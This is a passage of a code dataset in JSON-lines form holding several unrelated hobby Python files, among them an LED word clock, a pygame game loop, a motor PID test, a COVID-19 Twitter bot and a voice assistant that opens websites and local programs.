matrix: create and initialize as identity matrix\n matrix2 = matrix_utils.identity_matrix(new_matrix_size)\n\n # index of each extended_vars iff variable exists in r2.\n # we will use this to mapping from old -> new matrix to fill\n # the new matrix; the indices may be in different order.\n index_dict = {index: r2.variables.index(var)\n for index, var in enumerate(extended_vars)\n if var in r2.variables}\n\n # generate a list of all valid combinations\n index_map = [t1 + t2 for t1 in index_dict.items()\n for t2 in index_dict.items()]\n\n # fill the resized matrix with values from original matrix\n for mj, rj, mi, ri in index_map:\n matrix2[mi][mj] = r2.matrix[ri][rj]\n\n return Relation(extended_vars, matrix1), Relation(extended_vars,\n matrix2)\n\n def eval(self, choices: List[int], index: int) -> Choices:\n \"\"\"Eval experiment: returns a choice object.\"\"\"\n\n infinity_deltas = set()\n\n # get all choices leading to infinity\n for row in self.matrix:\n for poly in row:\n infinity_deltas.update(poly.eval)\n\n # generate valid choices\n return Choices.generate(choices, index, infinity_deltas)\n\n\nclass SimpleRelation(Relation):\n \"\"\"Specialized instance of relation, where matrix contains only\n scalar values, no polynomials.\"\"\"\n\n def __init__(self, variables: Optional[List[str]] = None,\n matrix: Optional[List[List[str]]] = None):\n super().__init__(variables, matrix)\n","repo_name":"statycc/pymwp","sub_path":"pymwp/relation.py","file_name":"relation.py","file_ext":"py","file_size_in_byte":13268,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"27"} +{"seq_id":"72856905032","text":"import socket\nimport random\nimport time\n\nfrom datetime import datetime, timedelta\nfrom rpi_ws281x import *\n\nLED_COUNT = 101 # First led out of 10/10\nLED_BY_ROW = 10\n\nLED_PIN = 18 # GPIO pin connected to the pixels (18 uses PWM!).\nONOFF_PIN = 5\nMODE_PIN = 10\n\n# index of first lestter by words\nWORDS = {\n 'IL': 1,\n 'EST': 4,\n 'DIX': 8,\n 'QUATRE': 11,\n 'CINQ': 17,\n 'UNE': 21,\n 'NEUF': 22,\n 'TROIS': 26,\n 'SEPT': 31,\n 'DEUX': 37,\n 'ONZE': 42,\n 'HUIT': 47,\n 'SIX': 51,\n 'HEURE': 55,\n 'HEURES': 55,\n 'MINUIT': 61,\n 'MIDI': 67,\n 'MOINS': 71,\n 'dIX': 78,\n 'QUART': 81,\n 'TRENTE': 85,\n 'VINGT': 91,\n 'cINQ': 97,\n}\n\nMODES = {\n 'random': 15,\n 'nowWords': 35,\n 'nowFigures': 55,\n}\n\nHOURS_ORDERED = 'MINUIT UNE DEUX TROIS QUATRE CINQ SIX SEPT HUIT NEUF DIX ONZE MIDI'.split(' ')\n\nFIGURES = {\n 0: [1, 2, 3, 4, 11, 14, 21, 24, 31, 34, 41, 42, 43, 44],\n 0: [2, 3, 11, 14, 21, 24, 31, 34, 42, 43],\n 1: [3, 12, 13, 23, 33, 43],\n 1: [12, 3, 13, 23, 33, 42, 43, 44],\n 2: [1, 2, 3, 4, 14, 21, 22, 23, 24, 31, 41, 42, 43, 44],\n 3: [1, 2, 3, 4, 14, 22, 23, 24, 34, 41, 42, 43, 44],\n 4: [1, 4, 11, 14, 21, 22, 23, 24, 34, 44],\n 5: [1, 2, 3, 4, 11, 21, 22, 23, 24, 34, 41, 42, 43, 44],\n 6: [1, 2, 3, 4, 11, 21, 22, 23, 24, 31, 34, 41, 42, 43, 44],\n 7: [1, 2, 3, 4, 14, 24, 34, 44],\n 8: [1, 2, 3, 4, 11, 14, 21, 22, 23, 24, 31, 34, 41, 42, 43, 44],\n 9: [1, 2, 3, 4, 11, 14, 21, 22, 23, 24, 34, 41, 42, 43, 44],\n 'B': [1, 2, 3, 11, 14, 21, 22, 23, 31, 34, 41, 42, 43],\n 'Y': [1, 4, 12, 14, 23, 32, 41],\n 'E': [1, 2, 3, 4, 11, 21, 22, 23, 24, 31, 41, 42, 43, 44],\n ' ': [],\n '!': [2, 12, 22, 42],\n}\n\n\ndef get_ip(split=' '):\n s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n s.connect((\"8.8.8.8\", 80))\n ip = s.getsockname()[0]\n s.close()\n return ip.split(split)\n\n\ndef round_minute_to_5(m):\n return int(round(m * 2 / 10) * 10 / 2)\n\n\ndef getWordsTime(dtime):\n # return list of word needed to display hours\n\n h, m = dtime.timetuple()[3:5]\n m = round_minute_to_5(m) # transform 32 to 30, 33 to 35\n lights = ['IL', 'EST']\n\n # set hours\n isMidi = h in (11, 12, 13)\n if m <= 35:\n lights.append(HOURS_ORDERED[h % 12])\n else:\n lights.append(HOURS_ORDERED[(h + 1) % 12])\n\n if lights[-1] in ('MIDI', 'MINUIT'):\n if isMidi:\n lights[-1] = 'MIDI'\n else:\n if lights[-1] != \"UNE\":\n lights.append('HEURES')\n else:\n lights.append('HEURE')\n\n # set minute\n if m == 0:\n pass\n elif m <= 5:\n lights.append('cINQ')\n elif m <= 10:\n lights.append('dIX')\n elif m <= 15:\n lights.append('QUART')\n elif m <= 20:\n lights.append('VINGT')\n elif m <= 25:\n lights.append('VINGT')\n lights.append('cINQ')\n elif m <= 30:\n lights.append('TRENTE')\n elif m <= 35:\n lights.append('TRENTE')\n lights.append('cINQ')\n elif m <= 40:\n lights.append('MOINS')\n lights.append('VINGT')\n elif m <= 45:\n lights.append('MOINS')\n lights.append('QUART')\n elif m <= 50:\n lights.append('MOINS')\n lights.append('dIX')\n elif m <= 55:\n lights.append('MOINS')\n lights.append('cINQ')\n\n return lights\n\n\ndef getFiguresTime(dtime, hours_color=False, mins_color=False, rounding=False):\n # return list of number + offset to display dtime hours\n\n h, m = dtime.timetuple()[3:5]\n m = rounding and round_minute_to_5(m) or m # transform 32 to 30, 33 to 35\n if m == 60:\n h += 1\n m = 0\n figs = []\n\n # hours\n hours_color = hours_color or MyPixelSquare.randcolor()\n figs.append((h // 10, 0, 0, hours_color))\n figs.append((h % 10, 6, 0, hours_color))\n\n # mins\n mins_color = mins_color or MyPixelSquare.randcolor()\n figs.append((m // 10, 0, 5, mins_color))\n figs.append((m % 10, 6, 5, mins_color))\n\n return figs\n\n\nclass MyPixelSquare(PixelStrip):\n # keep current display (figures or words to avoid refresh with random color)\n last_lights = []\n list_words = []\n list_figures = []\n led_by_row = 0\n\n def __init__(self, num, pin, brightness=255, gamma=None, words=[], figures=[], led_by_row=10):\n super().__init__(num, pin, brightness=255, gamma=None)\n self.list_words = words\n self.list_figures = figures\n self.led_by_row = led_by_row\n\n def clear(self):\n led = 0\n while led < self.numPixels():\n self.setPixelColorRGB(led, 0, 0, 0, 0)\n led += 1\n self.show()\n\n def lightWords(self, words, color=False):\n # words = list of word as string that exists in WORDS\n if not isinstance(words, type([])):\n words = [words]\n\n for w in words:\n word_color = color or self.randcolor()\n word_idx = self.list_words[w]\n for led in list(range(word_idx, word_idx + len(w))):\n self.setPixelColor(self.pos(led), word_color)\n self.show()\n\n def lightFigures(self, figures, glob_color=False):\n # figures = [(figure, offsetX, offsetY, color)]\n if not isinstance(figures, type([])):\n figures = [figures]\n\n for f, offsetX, offsetY, color in figures:\n fig = map(lambda i: i + offsetX + (offsetY * self.led_by_row), self.list_figures[f])\n randcol = self.randcolor()\n for led in fig:\n self.setPixelColor(self.pos(led), glob_color or color or randcol)\n self.show()\n\n def nowWords(self):\n words = getWordsTime(datetime.now())\n if words != self.last_lights:\n self.last_lights = words\n self.clear()\n self.lightWords(words)\n print(words)\n\n def nowFigures(self):\n figs = getFiguresTime(datetime.now() + timedelta(minutes=0), rounding=False)\n # ignore refresh if just color is != (color is random)\n if len(figs) != len(self.last_lights) or any(filter(lambda f: f[0][:2] != f[1][:2], zip(figs, self.last_lights))):\n print(datetime.now(), '->', figs)\n self.last_lights = figs\n self.clear()\n self.lightFigures(figs)\n\n def sayBye(self):\n for char in 'BYE !':\n self.clear()\n self.lightFigures((char, 3, 3, False))\n self.show()\n time.sleep(0.4)\n time.sleep(2)\n self.clear()\n\n def rainbow(self, wait_ms=10, iterations=1):\n for j in range(256 * iterations):\n for i in range(self.numPixels()):\n self.setPixelColor(self.pos(i), self.wheel((i + j) & 255))\n self.show()\n time.sleep(wait_ms / 1000.0)\n\n # Helper\n @staticmethod\n def randcolor():\n return Color(\n random.randint(0, 255),\n random.randint(0, 255),\n random.randint(0, 255),\n white=0, # random.randint(0, 1),\n )\n\n @staticmethod\n def wheel(pos):\n \"\"\"Generate rainbow colors across 0-255 positions.\"\"\"\n if pos < 85:\n return Color(pos * 3, 255 - pos * 3, 0)\n elif pos < 170:\n pos -= 85\n return Color(255 - pos * 3, 0, pos * 3)\n else:\n pos -= 170\n return Color(0, pos * 3, 255 - pos * 3)\n\n def pos_from_alim(self, i):\n # return the pos, with alim on bottom right\n #\n # 9 8 7 \\\n # / 4 5 6 /\n # \\ 3 2 1 - 0 --ALIM\n assert i >= 0\n n = i\n\n # 20/40/60/...\n if (i % self.led_by_row == 0):\n if (i // self.led_by_row) % 2 == 0:\n n = (i // self.led_by_row) * self.led_by_row - 9\n elif (i // self.led_by_row) % 2 == 1: # if line even\n n = (i // self.led_by_row) * self.led_by_row + (self.led_by_row - (i % self.led_by_row))\n n += 1\n return n\n\n def pos(self, i):\n # return the pos, from the matrix\n #\n # 1 2 3\n # 4 5 6\n # 7 8 9\n return self.pos_from_alim(self.numPixels() - i)\n","repo_name":"JKE-be/rpyclock","sub_path":"tools.py","file_name":"tools.py","file_ext":"py","file_size_in_byte":8115,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"16160509174","text":"from datetime import datetime\n\nclass TimeUtils:\n @staticmethod\n def get_time_format(time_string):\n time_format = '%I'\n if ':' in time_string:\n time_format += \":%M\"\n time_format += \" %p\"\n return time_format\n\n @staticmethod\n def regular_to_military(time_string):\n time = datetime.strptime(time_string, TimeUtils.get_time_format(time_string))\n return datetime.strftime(time, \"%H:%M\")\n\n @staticmethod\n def do_hours_cross_midnight(open_time, close_time):\n if close_time == \"00:00\":\n return False\n\n open = int(open_time.split(':')[0])\n close = int(close_time.split(':')[0])\n\n return close < open\n","repo_name":"metalfacesec/hours-of-operation-parser","sub_path":"utils/TimeUtils.py","file_name":"TimeUtils.py","file_ext":"py","file_size_in_byte":700,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"19904074577","text":"from random import randint, random\nimport sys\nimport math\nimport pygame\nfrom player import *\nfrom cria_borda import*\nfrom projetil import*\nfrom particula import*\nfrom particula_queda import*\nfrom sparks import*\nfrom estados_player import *\nfrom camera import*\nfrom poder_onda_chao import*\npygame.init()\nscreen = pygame.display.set_mode((600,600))\npygame.display.set_caption('teste')\n\nfps = 60\ntempo = pygame.time.Clock()\nclass Bloco:\n def __init__(self,root,x1,x2,x3,x4):\n self.root=root\n self.rect=pygame.Rect(x1,x2,x3,x4)\n def render(self,surface):\n\n pygame.draw.rect(surface,(100,180,120), pygame.Rect(self.rect.left-self.root.camera.camera[0],self.rect.top-self.root.camera.camera[1],self.rect.width,self.rect.height))\n\nclass Geral:\n def __init__(self,surface):\n self.surface=surface\n self.camera=Camera(500,500)\n self.borda=Cria_borda(self.surface)\n self.blocos=[Bloco(self,100,500,950,50),Bloco(self,100,450,50,50),Bloco(self,50,300,50,200),Bloco(self,950,300,50,200)]\n self.player=Player(self,200,300)\n self.camera.novo_targuet(self.player)\n self.projetil=[]\n self.particula=[]\n self.particula_queda=[]\n self.sparks=[]\n self.itens=[]\n self.poder_wave=[]\n def criaParticula(self,num,x,y,cor=[(200,150,100)],velocidade=1,taxaDiminui=0.3,radial=10):\n for i in range(num):\n self.particula.append(Particula(self,x,y,cor=cor,velocidade=velocidade,taxaDiminui=taxaDiminui,radial=radial))\n def criaSparks(self,posi,num,angle,cor=[(255,255,255)]):\n for i in range(num):\n self.sparks.append(Sparks(self,posi.copy(), math.radians(angle) + math.radians(random.randint(0, 80) - 40), 4 + random.randint(0, 30) / 10, 6,cor=cor))\n def criaParticula_queda(self,num,x,y,cor=[(200,150,100)],velocidade=1,taxaDiminui=0.3,radial=10,dire=[0,0]):\n for i in range(num):\n dir=dire.copy()\n dir[0]+= random.random()\n dir[1]+= random.random()\n self.particula_queda.append(Particula_queda(self,x,y,cor=cor,velocidade=velocidade,taxaDiminui=taxaDiminui,radial=radial,dire=dir))\n def update(self):\n self.player.updatePai(self.blocos)\n self.camera.update()\n if(self.projetil!=[]):\n self.camera.novo_targuet(self.projetil[0])\n else:\n self.camera.novo_targuet(self.player)\n for i in self.particula:\n i.update()\n for i in self.sparks:\n i.update()\n for i in self.poder_wave:\n i.update()\n for i in self.particula_queda:\n i.updatePai(self.blocos)\n for i in self.projetil:\n i.updatePai(self.blocos)\n\n def render(self):\n #self.borda.render(self.surface)\n for i in self.blocos:\n i.render(self.surface)\n \n for i in self.projetil:\n i.renderPai(self.surface)\n self.player.renderPai(self.surface)\n for i in self.sparks:\n i.render(self.surface)\n for i in self.poder_wave:\n i.render(self.surface)\n\n for i in self.particula:\n i.render(self.surface)\n for i in self.particula_queda:\n i.render(self.surface)\n \n\ngeral=Geral(screen)\nwhile True:\n screen.fill((60,100,60))\n #desenhaRetangulos()\n for event in pygame.event.get():\n if event.type == 256:\n pygame.quit()\n sys.exit()\n if event.type == pygame.KEYDOWN:\n if event.scancode == 26:\n geral.player.jump()\n if event.scancode == 7:\n #play.move=2\n geral.player.move('right',True)\n if event.scancode == 4:\n #play.move=1\n print('d')\n geral.player.move('left',True)\n if event.scancode == 44:\n geral.player.atirar()\n #geral.criaSparks([200,200],5,0)\n if(event.scancode==30):\n geral.player.estado_altera(Estado.normal)\n geral.player.poder_wave()\n if(event.scancode==31):\n geral.player.segura_estado(50,Estado.granada_pega,Estado.granada)\n if(event.scancode==32):\n geral.player.segura_estado(40,Estado.knife_pega,Estado.knife)\n print(event.scancode)\n if event.type == pygame.KEYUP:\n if event.scancode == 7:\n geral.player.move('right',False)\n if event.scancode == 4:\n geral.player.move('left',False)\n geral.render()\n geral.update()\n \n \n \n #for i in range(len(lista_luz)): # seta posicao das luzes dos vagalumes\n # iluminacao.set_pos(lista_luz[i], (lista_vag[i].get_posicao()[0]-10,lista_vag[i].get_posicao()[1]-10))\n \n #iluminacao.render() # renderiza a iluminação do ambiente\n\n #for i in lista_vag: # renderiza a lista de vagalumes e as luzes\n # i.render()\n \n #iluminacao.set_pos(luz_geral, (pygame.mouse.get_pos()[0]-300,pygame.mouse.get_pos()[1]-300))\n\n\n\n\n\n tempo.tick(fps)\n font = pygame.font.Font(None, 30)\n fpss = font.render(\"fps: \"+str(int(tempo.get_fps())), True, pygame.Color('white'))\n screen.blit(fpss, (50, 50))\n pygame.display.update()\n","repo_name":"marcyhel/Game-Studio","sub_path":"base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":5277,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"70418173512","text":"import time\nfrom collections import deque\n\nimport numpy as np\nimport pandas as pd\nfrom adafruit_motorkit import MotorKit\n\nimport config as cfg\nfrom encoders import Encoder, EncoderCounter\nfrom pid import PIDController\n\n\ndef test_pid(kp, ki, kd, stime, use_pid=True):\n left_encoder = Encoder(motor_pin_a=cfg.LEFT_MOTOR_PIN_A,\n motor_pin_b=cfg.LEFT_MOTOR_PIN_B,\n sampling_time_s=stime)\n\n left_encoder_counter = EncoderCounter(encoder=left_encoder)\n left_encoder_counter.start()\n\n pid_controller = PIDController(proportional_coef=kp,\n integral_coef=ki,\n derivative_coef=kd,\n windup_guard=cfg.PID_WINDUP_GUARD,\n current_time=None)\n\n max_steps_velocity_sts = cfg.ENCODER_RESOLUTION * cfg.MAX_ANGULAR_VELOCITY_RPM / 60\n\n kit = MotorKit(0x40)\n left_motor = kit.motor1\n\n velocity_levels = [1000, 2000, 3000, 4000, 5000, 6000, 0]\n velocity_levels = [3000, 0]\n sleep_time = 5\n\n velocities_level_records = deque([])\n velocities_steps_records = deque([])\n pid_velocities_steps_records = deque([])\n timestamps_records = deque([])\n\n for v in velocity_levels:\n pid_controller.reset()\n pid_controller.set_set_point(v)\n left_motor.throttle = max(min(1, v / max_steps_velocity_sts), 0)\n\n start = time.time()\n current_time = time.time()\n while current_time - start < sleep_time:\n\n timestamp, measured_steps_velocity_sts = left_encoder_counter.get_velocity()\n\n # PID control\n if use_pid:\n new_steps_velocity_sts = pid_controller.update(-measured_steps_velocity_sts, current_time)\n left_motor.throttle = max(min(1, new_steps_velocity_sts / max_steps_velocity_sts), 0)\n else:\n new_steps_velocity_sts = -1\n\n velocities_level_records.append(v)\n velocities_steps_records.append(-measured_steps_velocity_sts)\n pid_velocities_steps_records.append(new_steps_velocity_sts)\n timestamps_records.append(timestamp)\n\n current_time = time.time()\n\n left_motor.throttle = 0\n left_encoder_counter.finish()\n\n records_left = pd.DataFrame({'velocity_steps': velocities_steps_records,\n 'velocity_levels': velocities_level_records,\n 'pid_velocity_steps': pid_velocities_steps_records,\n 'timestamp': timestamps_records})\n records_left['velocity_ms'] = records_left['velocity_steps'] * cfg.WHEEL_DIAMETER_MM * np.pi / (1000 * cfg.ENCODER_RESOLUTION)\n records_left.set_index('timestamp', drop=True)\n return records_left\n\n\nif __name__ == '__main__':\n # for kp in [0, 0.2, 0.4, 0.6, 0.8, 1.0]:\n # for ki in [0, 0.2, 0.4, 0.6, 0.8, 1.0]:\n # for kd in [0, 0.2, 0.4, 0.6, 0.8, 1.0]:\n #\n # records = test_pid(kp, ki, kd)\n # records.to_csv('kp_{}_ki_{}_kd_{}.csv'.format(kp, ki, kd))\n\n for t in [0.001, 0.01, 0.1]:\n records = test_pid(0, 0, 0, t, False)\n records.to_csv('kp_{}_ki_{}_kd_{}_t_{}.csv'.format(0, 0, 0, t))\n","repo_name":"KolodziejczykWaldemar/AutonomousRobot","sub_path":"test_PID.py","file_name":"test_PID.py","file_ext":"py","file_size_in_byte":3270,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"4228548810","text":"import bson\n# import pymongo\nimport random\nimport sqlite3\nimport sqlite_db\n\nfrom functools import partial\nfrom mpi4py import MPI\n\nimport comm as Comm\n\nrank = MPI.COMM_WORLD.Get_rank()\nmax_rank = MPI.COMM_WORLD.Get_size()\n\n# mongo_client = pymongo.MongoClient('localhost', 27017)\n# db = mongo_client.pyaudio\n\nconn = sqlite3.connect(\"pyaudio.db\")\n\n\ndef main():\n if rank == 0:\n # Command processor\n sqlite_db.create_new_node_network_sqlite(conn)\n Comm.command_handler_loop()\n print(\"Rank: 0 finished\", flush=True)\n else:\n Comm.wait_for_init()\n\n if rank == 1:\n # Audio listener\n Comm.audio_sender_loop()\n print(\"Rank 1 finished\", flush=True)\n elif rank == 2:\n # Audio receiver - knows how to distrubte\n Comm.audio_receiver_loop()\n print(\"Rank 2: finished\", flush=True)\n elif rank > 2:\n # Worker nodes\n owned_nodes = sqlite_db.init_worker_sqlite(conn, rank, 3, max_rank)\n print(\"Rank: {0} nodes: {1}\".format(rank, list(owned_nodes.keys())[:4]), flush=True)\n Comm.worker_node_loop(owned_nodes)\n print(\"Rank: {0} finished\".format(rank), flush=True)\n\nif __name__ == \"__main__\":\n main()\n\n","repo_name":"djsamseng/pyaudio","sub_path":"mpi.py","file_name":"mpi.py","file_ext":"py","file_size_in_byte":1209,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"7096715681","text":"import requests\nimport csv\nimport operator\nfrom datetime import date, timedelta\nimport tweepy\nimport os\nfrom dotenv import load_dotenv\n\nload_dotenv()\n\nurl = 'https://raw.githubusercontent.com/nytimes/covid-19-data/master/us-counties.csv'\n\napi_key = os.environ.get(\"API_key\")\napi_secret_key = os.environ.get(\"API_secret_key\")\naccess_token = os.environ.get(\"access_token\")\naccess_token_secret = os.environ.get(\"access_token_secret\")\n\ndef extract_csv():\n r = requests.get(url)\n url_content = r.content\n\n return url_content\n\ndef create_csv(url_content):\n\n csv_file = open('covid_counties.csv', 'wb')\n\n csv_file.write(url_content)\n csv_file.close()\n\ndef extract_missouri_daily():\n\n county_results = []\n\n csv_file = open('covid_counties.csv','r')\n reader = csv.reader(csv_file,delimiter=',')\n for row in reader:\n if row[2] == 'Missouri':\n county_results.append(row)\n\n return county_results\n\ndef sort_by_cases_diff(county_results):\n\n yesterday_date = date.today() - timedelta(days=1)\n day_before_yesterday_date = date.today() - timedelta(days=2)\n\n county_cases_diff = []\n counties_day_before_yesterday = []\n counties_yesterday = []\n \n for row in county_results:\n if row[0] == str(day_before_yesterday_date):\n counties_day_before_yesterday.append(row)\n if row[0] == str(yesterday_date):\n counties_yesterday.append(row)\n\n for county_yesterday in counties_day_before_yesterday:\n county = []\n for county_today in counties_yesterday:\n if county_yesterday[1] == county_today[1]:\n diff = int(county_today[4])-int(county_yesterday[4])\n county.append(county_today[1])\n county.append(diff)\n county_cases_diff.append(county)\n \n\n return county_cases_diff\n\ndef sort_by_deaths_diff(county_results):\n\n yesterday_date = date.today() - timedelta(days=1)\n day_before_yesterday_date = date.today() - timedelta(days=2)\n\n county_deaths_diff = []\n counties_day_before_yesterday = []\n counties_yesterday = []\n\n for row in county_results:\n if row[0] == str(day_before_yesterday_date):\n counties_day_before_yesterday.append(row)\n if row[0] == str(yesterday_date):\n counties_yesterday.append(row)\n\n for county_yesterday in counties_day_before_yesterday:\n county = []\n for county_today in counties_yesterday:\n if county_yesterday[1] == county_today[1]:\n diff = int(county_today[5])-int(county_yesterday[5])\n county.append(county_today[1])\n county.append(diff)\n county_deaths_diff.append(county)\n\n return county_deaths_diff\n\ndef tweet_template_heading():\n yesterday_date = date.today() - timedelta(days=1)\n headingContent = 'COVID-19 in Missouri (updated as of %s)\\n\\n' % yesterday_date\n\n return headingContent\n\ndef tweet_template_cases(county_cases_diff):\n \n county_cases_sorted = sorted(county_cases_diff, \n key=operator.itemgetter(1), reverse=True)\n\n casesContent = 'Top 3 counties with most new cases:\\n\\n'\n\n counter = 0\n for county in county_cases_sorted:\n county_name = county[0]\n county_cases = county[1]\n counter += 1\n if counter == 4:\n break\n if county[1] == 0:\n break\n casesContent += '{0} - {1}\\n' .format(county_name, county_cases)\n \n\n return casesContent\n\ndef tweet_template_deaths(county_deaths_diff):\n\n county_deaths_sorted = sorted(county_deaths_diff, \n key=operator.itemgetter(1), reverse=True)\n\n deathsContent = '\\nTop 3 counties with most new deaths:\\n\\n'\n counter = 0\n for county in (county_deaths_sorted):\n county_name = county[0]\n county_deaths = county[1]\n counter += 1\n if counter == 4:\n break\n if county[1] == 0:\n break\n deathsContent += '{0} - {1}\\n' .format(county_name, county_deaths)\n \n return deathsContent\n\ndef OAuth():\n try:\n auth = tweepy.OAuthHandler(api_key, api_secret_key) \n auth.set_access_token(access_token, access_token_secret)\n return auth\n except Exception as e:\n print(e)\n return None\n\ndef tweet_out(tweet_content):\n oauth = OAuth()\n api = tweepy.API(oauth)\n api.update_status(tweet_content)\n \n \ndef main():\n print('Updating csv file...')\n url_content = extract_csv()\n create_csv(url_content)\n print(\"Checking yesterday's COVID-19 stats...\")\n county_results = extract_missouri_daily()\n county_cases_diff = sort_by_cases_diff(county_results)\n county_deaths_diff = sort_by_deaths_diff(county_results)\n print('Tweeting out content...')\n wholeContent = tweet_template_heading() + tweet_template_cases(county_cases_diff) + \\\n tweet_template_deaths(county_deaths_diff)\n \n print(wholeContent)\n tweet_out(wholeContent)\n print('Content tweeted...')\n \n\n \nif __name__ =='__main__':\n main()\n","repo_name":"maxkarnold/covid-19_twitter_bot","sub_path":"tweet.py","file_name":"tweet.py","file_ext":"py","file_size_in_byte":5038,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"27"} +{"seq_id":"28705103510","text":"import pyttsx3\r\nimport datetime\r\nimport speech_recognition as sr\r\nimport wikipedia\r\nimport webbrowser\r\nimport random\r\nimport os\r\n\r\n\r\nengine = pyttsx3.init('sapi5')\r\nvoices = engine.getProperty('voices')\r\n#print(voices[2].id)\r\nengine.setProperty('voice', voices[2].id)\r\nchrome_path = 'C:/Program Files (x86)/Google/Chrome/Application/chrome.exe %s'\r\n\r\ndef speak(audio):\r\n engine.say(audio)\r\n engine.runAndWait()\r\n \r\ndef takeCommand():\r\n r = sr.Recognizer()\r\n with sr.Microphone() as source:\r\n print(\"Listening....\")\r\n r.pause_threshold=1\r\n audio=r.listen(source)\r\n \r\n try:\r\n print(\"Recognizing....\")\r\n query = r.recognize_google(audio, language='en-in')\r\n print(\"User said \", query)\r\n \r\n except Exception() as e:\r\n print(\"Say that again please !\")\r\n return \"None\"\r\n \r\n return query\r\n \r\n \r\ndef wishMe():\r\n hour = int(datetime.datetime.now().hour)\r\n if hour>=0 and hour<12:\r\n speak(\"Good morning !\")\r\n elif hour>=12 and hour<18:\r\n speak(\"Good Afternoon !\")\r\n else:\r\n speak(\"Good Evening\")\r\n \r\n speak(\"Hi ,I am Papaa Ki Parie. Your personal assistant. How may I assist you\")\r\n \r\n \r\nif __name__ == \"__main__\":\r\n wishMe()\r\n while True:\r\n query = takeCommand().lower()\r\n \r\n #to give the results of the query\r\n \r\n if \"wikipedia\" in query:\r\n query = query.replace(\"wikipedia\", \"\")\r\n speak(\"Searching Wikipedia...\")\r\n results = wikipedia.summary(query, sentences=3)\r\n speak(\"According to wikipedia \")\r\n print(results)\r\n speak(results)\r\n \r\n \r\n if \"gaana\" in query:\r\n speak(\"opening gaana music..\")\r\n webbrowser.get(chrome_path).open(\"gaana.com\")\r\n \r\n \r\n if \"swayam\" in query:\r\n speak(\"opening Swayam..\")\r\n webbrowser.get(chrome_path).open(\"swayam.gov.in\")\r\n \r\n \r\n if \"makaut\" in query:\r\n speak(\"opening makaut...\")\r\n webbrowser.get(chrome_path).open(\"makaut1.ucanapply.com/smartexam/public/\")\r\n \r\n \r\n if \"whatsapp\" in query:\r\n speak(\"opening whatsapp...\")\r\n webbrowser.get(chrome_path).open(\"web.whatsapp.com\")\r\n \r\n \r\n if \"gmail\" in query:\r\n speak(\"opening gmail..\")\r\n webbrowser.get(chrome_path).open(\"accounts.google.com/ServiceLogin/signinchooser?service=mail&passive=true&rm=false&continue=https%3A%2F%2Fmail.google.com%2Fmail%2F&ss=1&scc=1<mpl=default<mplcache=2&emr=1&osid=1&flowName=GlifWebSignIn&flowEntry=ServiceLogin\")\r\n \r\n if \"internshala\" in query:\r\n speak(\"opening internshala..\")\r\n webbrowser.get(chrome_path).open(\"internshala.com\")\r\n \r\n if \"songs\" in query:\r\n speak(\"playing downloaded songs\")\r\n music_dir = 'E:\\\\downloaded songs'\r\n r = random.randint(0,29)\r\n songs = os.listdir(music_dir)\r\n os.startfile(os.path.join(music_dir, songs[r]))\r\n \r\n if \"spyder\" in query:\r\n path = 'C:\\\\Users\\DEEPAKKUMAR\\\\anaconda3\\\\pythonw.exe'\r\n speak(\"opening spyder\")\r\n os.startfile(path)\r\n \r\n if \"bluej\" in query:\r\n path = \"C:\\\\Program Files (x86)\\\\BlueJ\\\\BlueJ.exe\"\r\n speak(\"opening bluej\")\r\n os.startfile(path)\r\n \r\n if \"youtube\" and \"music\" in query:\r\n speak(\"opening youtube music\")\r\n webbrowser.get(chrome_path).open(\"music.youtube.com\")\r\n break\r\n \r\n \r\n if \"youtube\" in query:\r\n speak(\"Opening Youtube..\")\r\n webbrowser.get(chrome_path).open(\"youtube.com\")\r\n \r\n if \"genie\" in query:\r\n path1 = \"C:\\\\Program Files (x86)\\\\Geany\\\\bin\\\\geany.exe\"\r\n speak(\"opening geany \")\r\n os.startfile(path1)\r\n \r\n if \"c programming\" in query:\r\n path3 = \"C:\\\\Program Files (x86)\\\\Dev-Cpp\\\\devcpp.exe\"\r\n speak(\"opening dev c++\")\r\n os.startfile(path3)\r\n \r\n if \"sublime text\" in query:\r\n path4 = \"C:\\\\Program Files\\\\Sublime Text 3\\\\sublime_text.exe\"\r\n speak(\"opening sublime text 3\")\r\n os.startfile(path4)\r\n \r\n if \"who are you\" in query:\r\n speak(\"I am Hazel assistant.\")\r\n \r\n if \"play goat\" in query:\r\n speak(\"Playing goat by Diljit Dosanjh\")\r\n path5 = \"C:\\\\Users\\\\DEEPAKKUMAR\\\\Music\\\\Playlists\\\\GOAT.mp3\"\r\n os.startfile(path5)\r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n\r\n \r\n","repo_name":"Diwakar03-59/Python-Projects","sub_path":"Voice Assistant/Voice assistant.py","file_name":"Voice assistant.py","file_ext":"py","file_size_in_byte":4949,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"69861356232","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Mar 19 23:29:10 2022\n\"\"\"\nimport os\nimport re\nimport time\nimport html\nimport pandas as pd\nimport pickle\nimport spacy\n# import stanza\nnlp = spacy.load('en_core_web_sm')\n\n\nnew_data_dir = '/Users/leiyuan/Downloads/1128227-1326428'\nos.chdir(new_data_dir)\ndf_dir = '/Users/leiyuan/Downloads/MFIN7036_project'\nnew_df = 'data-new-total.csv'\n\n\n# Note an extra dir before file, change dir first\ndef clean_corpus(cik_year_list, file_type):\n \"\"\"\n cik_year_list should be a list of tuples, with the first element of tuple the 10-digit cik string, second \n element of tuple the 4-digit year. file_type can be either 'business' or 'MD&A'. \n Return: a corpus list containing all docs, after some clean-up.\n \"\"\"\n corpus = []\n missing = []\n \n for index, (cik, year) in enumerate(cik_year_list):\n file_dir = cik\n try:\n filename = f'data-{cik}-{year}-10K-{file_type}.txt'\n try:\n with open(os.path.join(file_dir, filename), 'r') as f:\n section = f.read()\n except UnicodeDecodeError:\n with 